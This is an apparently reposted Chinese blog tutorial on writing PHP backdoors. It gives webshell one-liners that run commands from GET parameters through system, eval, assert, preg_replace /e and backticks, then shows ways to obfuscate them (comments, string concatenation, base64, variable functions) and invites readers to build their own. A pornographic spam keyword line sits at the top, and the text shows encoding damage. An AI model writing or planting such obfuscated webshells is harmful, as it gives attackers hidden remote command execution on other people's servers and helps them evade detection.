日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

system 后门 php,php后门的编写

發(fā)布時間:2025/3/15 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 system 后门 php,php后门的编写 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

0x1 原理 1、執(zhí)行系統(tǒng)命令的函數(shù) proc_open, popen, exec, shell_exec,passthru,system 這里只給出兩個例子,其他的可以查看php手冊編寫 system() ? php system($_GET['input']); ? http://192.168.247.133:81/shell.php?input=dir ``執(zhí)行命令 ``執(zhí)行命令等...

0x1 原理

1、執(zhí)行系統(tǒng)命令的函數(shù)

proc_open, popen, exec, shell_exec,passthru,system

這里只給出兩個例子,其他的可以查看php手冊編寫

system()

system($_GET['input']);

?>

http://192.168.247.133:81/shell.php?input=dir

“``”執(zhí)行命令

``執(zhí)行命令等價于shell_exec()函數(shù)來執(zhí)行命令。

echo`$_GET[input]`;

?>

http://192.168.247.133:81/shell.php?input=dir

再來個更短的

=@`$_GET[c]`?>

http://192.168.247.133:81/shell.php?c=dir

注:這個要開啟short_open_tag的,不過默認(rèn)為on

2、可以執(zhí)行代碼的函數(shù)

eval() 函數(shù)把字符串按照PHP 代碼來計算,該字符串必須是合法的PHP 代碼,且必須以分號結(jié)尾。

eval($_GET['input']);

?>

正則表達(dá)式

Preg_replace函數(shù)的作用是用來執(zhí)行常規(guī)表達(dá)式的查找和替換的,Mixed preg_replace(mixed pattern, mixed replacement, mixed subject,int limit, int &count)其中,Pattern是用來查找的常規(guī)表達(dá)式,replacement是用來替換的字符串,submit是要查找替換的字符串,limit是可以替換的字符串?dāng)?shù),count是成功替換的數(shù)目。函數(shù)將返回替換后的字符串,當(dāng)Pattern參數(shù)使用/e修正符時,preg_replace函數(shù)會將replacement參數(shù)當(dāng)作PHP代碼執(zhí)行。

preg_replace("//e",$_GET['input'],"qingsh4n");

?>

assert()

assert這個函數(shù)在php語言中是用來判斷一個表達(dá)式是否成立。但是其字符串參數(shù)會被執(zhí)行。

assert($_GET['input']);

?>

ob_start()

$foobar =$_GET['input1'];

ob_start($foobar);

echo$_GET['input2'];

ob_end_flush();

?>

http://192.168.247.133:81/shell.php?input1=system&input2=dir

更多的函數(shù)需要同志們?nèi)ネ诰颉?/p>

0x2 如何混淆

1、注釋/**/

assert/**/($/**/{"_GET"}['input']);

?>

2、連接號

php中“.”為字符串連接符號

$var ="a";

$var .="ss";

$var .="er";

$var .="t";

$var($_GET['input']);

?>

注:測試時發(fā)現(xiàn),echo()、eval()等函數(shù)無效。

3、創(chuàng)建函數(shù)

create_function() 創(chuàng)建一個匿名函數(shù)

$foobar =$_GET['input'];

$dyn_func =create_function('$qingsh4n', "echo $foobar;");

$dyn_func('');

?>

5、編碼函數(shù),base64等

assert(base64_decode('ZXZhbCgkX0dFVFsnaW5wdXQnXSk7'));

?>

注:其他的編碼函數(shù)有g(shù)zinflate()、gzuncompress()、gzdecode()、str_rot13()等,可以查看php手冊編寫。

6、可變函數(shù)

PHP 支持可變函數(shù)的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數(shù),并且嘗試執(zhí)行它。

$dyn_func =$_GET['dyn_func'];

$argument =$_GET['argument'];

$dyn_func($argument);

?>

如果register_globals=on時,代碼可以改為如下形式:

$input1($input2);

?>

http://192.168.247.133:81/shell.php?input1=system&input2=dir

注:同樣可以利用call_user_func()、array_walk()等函數(shù)

0x3 編寫自己的webshell

通過上面的知識,可以任意組合上面寫到的代碼執(zhí)行和混淆技術(shù),編寫屬于自己的php后門應(yīng)該是順手拈來的事,如果誰有好的發(fā)現(xiàn)或者是奇淫技巧記得告訴我。最后附上酷殼上面關(guān)于hello world的6種變態(tài)寫法,也許在這里面會找到些許靈感。

(責(zé)任編輯:最模板)

總結(jié)

以上是生活随笔為你收集整理的system 后门 php,php后门的编写的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。